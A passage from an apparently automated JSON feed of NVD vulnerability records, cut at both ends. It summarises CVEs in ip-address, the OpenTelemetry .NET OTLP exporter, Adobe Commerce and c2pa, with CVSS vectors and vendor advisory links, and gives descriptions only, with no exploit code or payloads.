and IPv6 addresses in JavaScript. Prior to 10.1.1, Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. This vulnerability is fixed in 10.1.1.","detail":"ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript. Prior to 10.1.1, Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. This vulnerability is fixed in 10.1.1.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:41.130Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"beaugunderson","product":"ip-address","stacks":["Beaugunderson","ip-address"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42338","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42338","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42338","type":"primary","publishedAt":"2026-05-12T20:16:41.130Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42191","cveId":"CVE-2026-42191","aliases":[],"kind":"vulnerability","title":"OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation.","summary":"OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation. From 1.8.0 to 1.15.2, the OTLP disk retry feature in OpenTelemetry.Exporter.OpenTelemetryProtocol silently fell back to Path.GetTempPath() when OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY=disk was set but OTEL_DOTNET_EXPERIMENTAL_OTLP_DISK_RETRY_DIRECTORY_PATH was not configured. The exporter stored and loaded *.blob files under fixed, signal-named subdirectories (traces, metrics, logs) beneath that shared temporary root path. On multi-user systems where the temporary directory is accessible to other local accounts, this allows an attacker to write crafted *.blob files, read *.blob files written by the application between export failures, or deposit numerous or oversized blob files, degrading retry-loop performance or consuming disk space. This vulnerability is fixed in 1.15.3.","detail":"OpenTelemetry.Exporter.OpenTelemetryProtocol is the OTLP (OpenTelemetry Protocol) exporter implementation. From 1.8.0 to 1.15.2, the OTLP disk retry feature in OpenTelemetry.Exporter.OpenTelemetryProtocol silently fell back to Path.GetTempPath() when OTEL_DOTNET_EXPERIMENTAL_OTLP_RETRY=disk was set but OTEL_DOTNET_EXPERIMENTAL_OTLP_DISK_RETRY_DIRECTORY_PATH was not configured. The exporter stored and loaded *.blob files under fixed, signal-named subdirectories (traces, metrics, logs) beneath that shared temporary root path. On multi-user systems where the temporary directory is accessible to other local accounts, this allows an attacker to write crafted *.blob files, read *.blob files written by the application between export failures, or deposit numerous or oversized blob files, degrading retry-loop performance or consuming disk space. This vulnerability is fixed in 1.15.3.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:41.000Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"opentelemetry","product":"opentelemetry.exporter.opentelemetryprotocol","stacks":["Opentelemetry","opentelemetry.exporter.opentelemetryprotocol"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42191","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42191","type":"primary","publishedAt":"2026-05-12T20:16:41.000Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-4625-4j76-fww9","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34686","cveId":"CVE-2026-34686","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:38.597Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34686","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34686","type":"primary","publishedAt":"2026-05-12T20:16:38.597Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34665","cveId":"CVE-2026-34665","aliases":[],"kind":"vulnerability","title":"CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application...","summary":"CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"CAI Content Credentials versions c2pa-web@0.7.0, c2pa-v0.78.2 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:37.013Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"c2pa","stacks":["Adobe","c2pa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34665","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34665","type":"primary","publishedAt":"2026-05-12T20:16:37.013Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34653","cveId":"CVE-2026-34653","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system read and write. An authenticated attacker with administrative privileges could exploit this vulnerability to read or write files outside the restricted directory. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitrary file system read and write. An authenticated attacker with administrative privileges could exploit this vulnerability to read or write files outside the restricted directory. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:36.387Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34653","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34653","type":"primary","publishedAt":"2026-05-12T20:16:36.387Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34652","cveId":"CVE-2026-34652","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Dependency on Vulnerable Third-Party Component vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:36.273Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34652","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34652","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34652","type":"primary","publishedAt":"2026-05-12T20:16:36.273Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34651","cveId":"CVE-2026-34651","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:36.150Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34651","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34651","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34651","type":"primary","publishedAt":"2026-05-12T20:16:36.150Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34650","cveId":"CVE-2026-34650","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:36.033Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34650","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34650","type":"primary","publishedAt":"2026-05-12T20:16:36.033Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34649","cveId":"CVE-2026-34649","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:35.917Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34649","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34649","type":"primary","publishedAt":"2026-05-12T20:16:35.917Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34648","cveId":"CVE-2026-34648","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:35.797Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","commerce"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34648","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34648","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34648","type":"primary","publishedAt":"2026-05-12T20:16:35.797Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-49.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34647","cveId":"CVE-2026-34647","aliases":[],"kind":"vulnerability","title":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could...","summary":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.","detail":"Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 